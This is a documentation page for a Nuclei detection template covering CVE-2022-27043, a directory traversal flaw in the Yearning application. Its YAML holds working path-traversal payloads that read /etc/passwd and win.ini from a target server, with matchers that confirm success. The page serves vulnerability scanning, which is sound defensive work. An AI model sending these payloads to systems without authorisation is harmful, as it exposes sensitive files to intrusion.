Yearning - Directory Traversal
ID: CVE-2022-27043
Severity: high
Author: Co5mos
Tags: cve,cve2022,yearning,lfi
Description
Section titled “Description”Yearning has a directory traversal vulnerability that can be exploited by attackers to obtain sensitive information. The vulnerability is present in multiple versions of Yearning.
YAML Source
Section titled “YAML Source”id: CVE-2022-27043
info: name: Yearning - Directory Traversal author: Co5mos severity: high description: | Yearning has a directory traversal vulnerability that can be exploited by attackers to obtain sensitive information. The vulnerability is present in multiple versions of Yearning. reference: - https://github.com/jimdx/YEARNING-CVE-2022-27043/blob/main/README.md - http://yearning.io/ - https://nvd.nist.gov/vuln/detail/CVE-2022-27043 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-27043 cwe-id: CWE-22 epss-score: 0.00238 epss-percentile: 0.62311 cpe: cpe:2.3:a:yearning:yearning:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: yearning product: yearning fofa-query: app="Yearning" tags: cve,cve2022,yearning,lfi
http: - method: GET path: - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd" - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini"
stop-at-first-match: true matchers: - type: dsl dsl: - "regex('root:.*:0:0:', body) || contains_all(body, '[fonts]', 'for 16-bit app support')" - "contains(content_type, 'text/plain')" - "status_code == 200" condition: and# digest: 4b0a0048304602210088f94fdee7a3f4b4ab13c0020095202f4e26361f98ad5dc7bee3d6f21ef9f19c022100fd664652c09cbae383146cc603c8e7ad02f5d513698626899f9f2e8eed823fd5:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-27043.yaml"